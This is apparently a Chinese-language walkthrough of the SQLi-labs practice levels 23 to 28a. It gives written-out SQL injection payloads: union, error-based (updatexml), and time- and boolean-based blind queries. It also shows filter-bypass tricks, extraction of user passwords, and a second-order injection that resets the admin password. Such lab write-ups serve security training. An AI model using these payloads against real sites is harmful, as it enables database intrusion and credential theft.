Less_23

首先在php文件中加入echo $sql;echo "<br>";

方法一: ;%00

输入?id=1’,报错,说明存在注入漏洞:

输入?id=1' --+,此时无法进行闭合:

在第一关中,我们可以看到可以正常使用闭合,此时我们查阅源代码:(可知,源码对 --+、#进行了过滤,所以这里我们只能使用and或者or语句进行闭合)

依然可以使用另外一种特殊的注释符 ;%00通过这个注释符可以判断列数:

url末尾将--+、# 替换为 ;%00   其余的均和less-1关相同例如查列:

输入?id=1' order by 3;%00:

查找回显位置:?id=-1'  union select 1,2,3    ;%00

查库名:/?id=-1‘  union select 1,2, group_concat(schema_name) from    information_schema.schemata    ;%00

查表名:/?id=-1‘  union select 1,2, group_concat(table_name) from  information_schema.tables where table_schema = 0x7365637572697479    ;%00

差字段名:/?id=-1‘  union select 1,2, group_concat(column_name) from information_schema.columns where table_name = 0x7573657273   ;%00

查字段中所有的值:/?id=-1‘  union select 1,2, group_concat(concat_ws(0x7e,username,password)) from security.users   ;%00

输入:?id=-1'order by 10 and '1'='1

我们已经知道了这个只有三列,但是回显结果没有报错

我们将上面语句中的and改成or,返回结果仍没有报错

这是由于mysql解析顺序使得order by 在执行时候被忽略了

我们可以用union select的另一种方式来进行查询

 

输入:?id=1' union select 1,2,3'

 

 

 

输入:?id=-1' union select 1,2,3' 我们将前面的值报错,使得前面值无法查询,此时在3处进行闭合操作(其中-1可以换成任意一个超出数据库的数值)

查询数据库: ?id=-1‘ union select 1,2,database()’

查询库中信息:?id=-1' union select 1,2,(select group_concat(schema_name) from information_schema.schemata) '

其他操作与上述类似;

Less23方法一总结:

方法二:报错注入

输入: ?id=1' and updatexml(1,concat(0x7e,(database())),1) or '1'='1  爆出数据库

输入: ?id=1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 2,1)),1) or '1'='1  查询所有的数据库,使用limit进行逐个查询。

Less_24

补充知识:二次注入

第24关我们使用二次注入:

查询users表信息,找到admin的密码,密码为admin;

我们用admin’# 注册一个恶意账号,再登录 密码为123456

我们修改admin’#的密码  密码为111111

用admin  111111结果登录成功

Less24总结

Less_25

首先在PHP文件中添加:echo $sql;  echo “<br>”;

输入?id=1,返回正常:

输入?id=1’ ,报错,存在注入漏洞;

输入?id=1' order by 3--+发现报错,下方提示显示or被过滤;

查看源码,得知or and 都被过滤;

方法一:尝试双写

输入?id=1' oorrder by 3--+,回显正常

输入?id =-1‘  union select 1,2,3--+  获得回显位置

所有位置的or and 都需要双写

查库:?id=-1' union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata --+

查表:?id=-1' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema=0x7365637572697479 --+

查字段:?id=-1' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name=0x7573657273--+

查字段中得值: ?id=-1' union select 1,2,group_concat(concat_ws(0x7e,username,passwoorrd)) from security.users--+

方法二:or替换为|| 基于报错的注入

输入: ?id=-1‘  || 1=1--+  存在注入;

输入: ?id=-1'  || updatexml(1,concat(0x7e,(database()),0x7e),1)--+  查所在数据库;

输入: ?id=-1'  || updatexml(1,concat(0x7e,(select schema_name from infoorrmation_schema.schemata limit 0,1),0x7e),1)--+ 查当前所有数据,此时不使用group_concat(),因为数据显示不完整;

Less_25a

Less25a:  没有任何包裹, or  and 也要双写

输入?id=1 回显正常;

输入 ?id=1’  回显异常,数据消失,存在注入,但是通过$sql语句得知,此处并没有将id值进行包裹;

查有多少列: ?id=1 oorrder by 3--+

查回显位置: ?id=-1 union select 1,2,3--+

查库:?id=-1 union select 1,2,group_concat(schema_name) from infoorrmation_schema.schemata--+

查字段: ?id=-1 union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name=0x7573657273--+

查字段信息: ?id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,passwoorrd)) from security.users--+

基于时间的布尔盲注

  1. 输入: ?id=-1 oorr if(length(database())>1,1,sleep(5))--+ 判断数据库的长度;
  2. 输入: ?id=-1 oorrif(left(database(),1)>‘a’,1,sleep(5))--+  判断当前数据库的组成;

输入: ?id=-1 oorr if(left((select schema_name from infoorrmation_schema.schemata limit 0,1),1)>‘a’,1,sleep(5))--+

判断所有的数据库,

然后依次进行下去。

布尔盲注

输入:?id=-1 oorr length(database())>1--+ 回显正常,说明此时数据库长度大于1;

输入:?id=-1 oorr left((select schema_name from infoorrmation_schema.schemata limit 0,1),1)>‘a’--+   回显正常,说明此时数据库第一个字母大于a;

输入:?id=-1 oorr left((select schema_name from infoorrmation_schema.schemata limit 0,1),1)=‘a’--+,回显异常,说明我们语句是正确的;

然后依次进行下去。

Less25a总结

Less_26

输入: ?id=1  回显正常;

输入:  ?id=1’ 出现报错,说明可能存在注入漏洞;

输入: ?id=1’ --+ 显示错误 且提示中没有--+  ;

输入:  ?id=1’ ;%00 显示正常;

查看源代码可知:所有or and 注释符 空格 都被替换

输入: ?id=1’ oorr ‘1’=’1 可以正常登陆;(or可以用||替换)

输入: ?id=1’ union select 1,2,3 ;%00  可以发现union select之间没有了空格;

解决办法:

or可以用||替换

and可以用&&   %26%26替换

注释符用;%00替代

空格用%a0替代

采用注入报错:

查库:?id=1‘  || updatexml(1, concat(0x7e, ( database()  ) ),1)  || ’1‘=‘1

查表:

?id=1‘||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables) where (table_schema = 0x7365637572697479)  ) ),1)  || ’1‘=‘1

查字段: 

?id=1‘||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns) where (table_name = 0x7573657273)  ) ),1) || ’1‘=‘1

查字段中的值:

?id=1‘ || updatexml(1, concat(0x7e, ( select (group_concat(concat_ws(0x7e,username,passwoorrd))) from (security.users)  ) ),1) || ’1‘=‘1             (不完整)

改变id的值可以查看所有的数据

?id=1‘ || updatexml(1, concat(0x7e, ( select (group_concat(concat_ws(0x7e,username,passwoorrd))) from (security.users)  where (id=3) ) )   ,1) || ’1‘=‘1 

 

使用union select 时要使用%a0来代替空格  注释符用;%00  或者 ||’1’=’1

Less_26a

 id=('1')包裹

输入?id=1   回显正常;

输入 ?id=1’ 回显错误;

查看源代码:可以看到和26关一样,将这些符号过滤;

看源码可知,26a将错误不进行打印,所以此关不能使用注入报错;

我们使用union select将空格都用%a0替代进行操作即可:

查有多少列:?id=1') %a0  oorrder %a0  by %a0  3 ;%00

 

查看回显位置:?id=111') %a0  union  %a0 select %a0 1,2,3 ;%00

后面操作和前面操作类似。

Less_27

输入?id=1 回显正常;

输入?id=1’  回显错误;

输入?id=1’ ;%00  回显正常;

查看源码,发现select  union 注释符 空格 也都被注释了;

方法一:大小写混写

因为union select 规矩的全是大写或者全是小写,那我们尝试大小写混合写

 

输入 ?id=111' %a0 uNion  %a0  sElect  %a0 1, 2, 3    ;%00  查 回显位置;

 

输入 ?id=111' %a0 uNion  %a0  sElect  %a0 1, 2,group_concat(schema_name)  %a0  from  %a0 information_schema.schemata    ;%00   查库;

其他和前面类似。

方法二:使用报错注入

输入:?id=1'    %a0  ||  %a0   updatexml(1, concat(0x7e, ( database()  ) ), 1)  %a0  || '1'='1  查库

其他操作和26关类似。

 

 

方法三:基于时间的盲注;   %26%26替代&&  即and

 

输入:?id=1' %26%26 if( length(database())>1, 1, sleep(5)    )  %26%26 %0a  '1'='1

注意:在句子后面不能使用or,因为使用or的情况下,无论如何情况返回都会为真

输入:?id=1' %26%26 if( length(database())=5, 1, sleep(5)    )  || %0a  '1'='1

 

Less_27a

less27a使用””包裹   

其他与第27关类似。

 

 

 

 

Less_28

Less-28使用(’’)包裹

 

输入 ?id=1 回显正常

输入 ?id=1’) --+ 回显错误;

输入 ?id=1’) ;%00 回显正常;

查看源码,发现union select联合查询  空格 注释符也都被过滤;

方法一:%a0代替空格

输入 ?id=1') %a0 order %a0 by %a0 3;%00  查看有多少列;

输入:?id=1111') %a0 union %a0 select %a0 1,2,3 ;%00  查看回显位置;

也可以输入:?id=1111') %a0 union %a0 select %a0 1,2,3 || (1)=(1   查看回显位置; 即;%00可替换为|| (1)=(1

输入 ?id=1111') %a0 union %a0 select %a0 1,2,group_concat(1,database(),1) ;%00  得到数据库

后面查询操作和前面类似。

方法二:基于时间的盲注

输入 ?id=1') %a0 %26%26  if( length(database())>8, 1, sleep(5)) ;%00

输入:?id=1') %a0 %26%26  if( length(database())>1, 1, sleep(5)) ;%00

 

其他操作和前面类似。

 

 

Less_28a

Less-28a:使用(‘’)包裹

查看源码:

此关没有过滤空格注释符,其他语句和关类似。

最新文章

  1. Java对象的深拷贝和浅拷贝、集合的交集并集
  2. Ubuntu 12.04下GAMIT10.40安装说明
  3. mysql 将时间戳直接转换成日期时间
  4. Docker有什么好处?
  5. tony_linux下网站压力测试工具webbench
  6. Python模块整理(三):子进程模块subprocess
  7. 评论一下现有几个开源IM框架(Msn/QQ/Fetion/Gtalk...)
  8. Android学习手记(4) BroadcastReceiver监听电池信息
  9. Mybatis Mapper.xml 需要查询返回List&lt;String&gt;
  10. Codeforces 250 E. The Child and Binary Tree [多项式开根 生成函数]
  11. git 本地同步分支数,删除远程已经删除掉的多余分支
  12. 关于oracle sql语句查询时表名和字段名要加双引号的问题详解
  13. 1、Python2.7编译安装
  14. 小程序解析html(使用wxParse)
  15. 《Linux就该这么学》第十三天课程
  16. [leetcode]1. Two Sum两数之和
  17. 浅谈ESB中的DataRow、DataSet、DataBag 、DataBox
  18. django(一)验证码
  19. [转] web无插件播放RTSP摄像机方案,拒绝插件,拥抱H5!
  20. AntPathMatcher做路径匹配

热门文章

  1. C++-POJ3213-PM3-[矩阵乘法]
  2. 假期学习【十一】Python爬取百度词条写入csv格式 python 2020.2.10
  3. 分类问题(三)混淆矩阵,Precision与Recall
  4. 机器学习作业(一)线性回归——Python(numpy)实现
  5. js的6道基础题(笔试常考题)
  6. 为什么 K8s 在阿里能成功(转)
  7. 连续张量理解和contiguous()方法使用,view和reshape的区别
  8. docker-部署zabbix4
  9. 2019牛客多校第七场E Find the median 离散化+线段树维护区间段
  10. java.lang.IndexOutOfBoundsException: Remember that ordinal parameters are 1-based!